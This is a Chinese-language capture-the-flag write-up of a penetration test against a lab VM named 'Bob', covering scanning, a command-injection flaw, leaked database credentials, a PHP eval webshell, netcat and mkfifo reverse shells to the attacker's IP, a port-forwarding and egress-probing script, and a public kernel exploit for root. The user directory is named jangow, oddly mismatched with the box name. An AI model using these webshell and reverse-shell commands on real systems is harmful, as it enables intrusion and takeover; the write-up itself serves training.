Author:一条’小龍龙
Team:Traceless 网络安全团队
Data:2023/9/14
Description:Bob靶机渗透测试
靶场环境
Write-Up
step 1 信息收集
确定当前本机IP
扫描当前网段内所有主机的存活状态
得知 192.168.3.26
为靶机IP(我这里是桥接的,其他IP为内网其他设备)
深度扫描 获取更加详细的信息
发现开放了21
、80
端口
访问80端口,发现是一个目录遍历
进入site目录则是网站根目录
页面是由Bootstrap框架搭建的
看一下robots.txt是否存在 发现均不存在
step 2 命令执行写入webshell
正常点击导航栏链接,看看都是什么页面,是否有可以利用的地方
经测试,发现导航栏中Busque
二级页面命令执行漏洞
执行成功
查看/etc/passwd
文件中具有shell执行权限的用户
cat /etc/passwd | grep /bin/bash
继续搜集相关信息
发现一个 .backup
隐藏文件 话不多说 必须看啊!
OK! 是一个连接MySQL的PHP文件 里面有数据库的账号和密码
我们发现该数据库账号和我们之前看到的用户名是同一个,那密码呢?试!
输入账号密码后连接成功
在site目录下上传一句话木马
<?php eval($_REQUEST[8]);?>
上传失败 在web端写入吧
echo '<?php eval($_REQUEST[8]);?>' > shell.php
成功写入 访问成功
webshell 蚁剑连接成功
step 3 反弹shell
本机使用nc监听 9001端口
nc64 -lvvp 9001
webshell终端 向攻击机反弹shell
nc -e /bin/bash 192.168.3.27 9001
发现没有-e参数,那就使用其他命令反弹shell (这样的命令有很多,有兴趣的朋友可以访问这个网址https://forum.ywhack.com/reverse-shell
)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.3.27 9001 >/tmp/f
经测试,发现没反应 怀疑是防火墙被设置了端口相关策略导致的
攻击机本地写脚本1.bat
如下(由于从端口1-65535依次遍历并向1000端口转发,所需时间会很长,由于是WP,这里我直接到1000就截止了,大家知道就好):
@echo off
:loop
set /a a+=1
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=%a% connectaddress=127.0.0.1 connectport=1000
echo port %a% to 1000 OK !
if %a% == 1001 (
exit
)
goto loop
pause
右键该 1.bat
文件,选择管理员运行即可。
脚本运行完毕会自动关闭,此时,我们使用nc监听1000端口
在webshell终端内新建1.sh
文件
内容如下:
for i in {1..65535};
do
nc -w 1 -vz 192.168.3.27 $i && echo "$i open" >> res.txt || echo "$iclosed" >> res.txt
done
保存后,打开终端输入以下命令执行脚本
chmod +x 1.sh
bash 1.sh
攻击机端有了反应 我们去webshell中查看res.txt
文件中哪个端口是open
发现是443端口
在反弹shell之前,我们在攻击机上先把端口重定向给复原了
cmd管理员下输入netsh interface portproxy reset
(注意这条指令是重置的意思)
攻击机端开启443的端口监听
靶机反弹shell
建立连接成功
python -c "import pty;pty.spawn('/bin/bash')"
遇到了点小问题,说是找不到python。不过用whereis知道了python的路径,最后还是创建了交互式的shell
在用户jangow
家目录下找到了user.txt
文件 看着像是md5,拿去解密试试
空密码 …
好吧!,继续搞,我们的目的是拿到root权限 OK! 提权!
step 3 漏洞利用
查看系统版本信息
系统版本为 Ubuntu 4.4.0
在线搜集相关版本漏洞
下载后,上传至site目录下
step 4 提权
运行该exp
gcc 45010.c
此时会生成a.out
文件,运行该文件即可获取root
权限
OK ! root权限拿到了 现在我们去root用户家目录看看有什么好东西 ~
找到了一个名为 proof.txt
的文件,打开后里面的文件内容就是这次的flag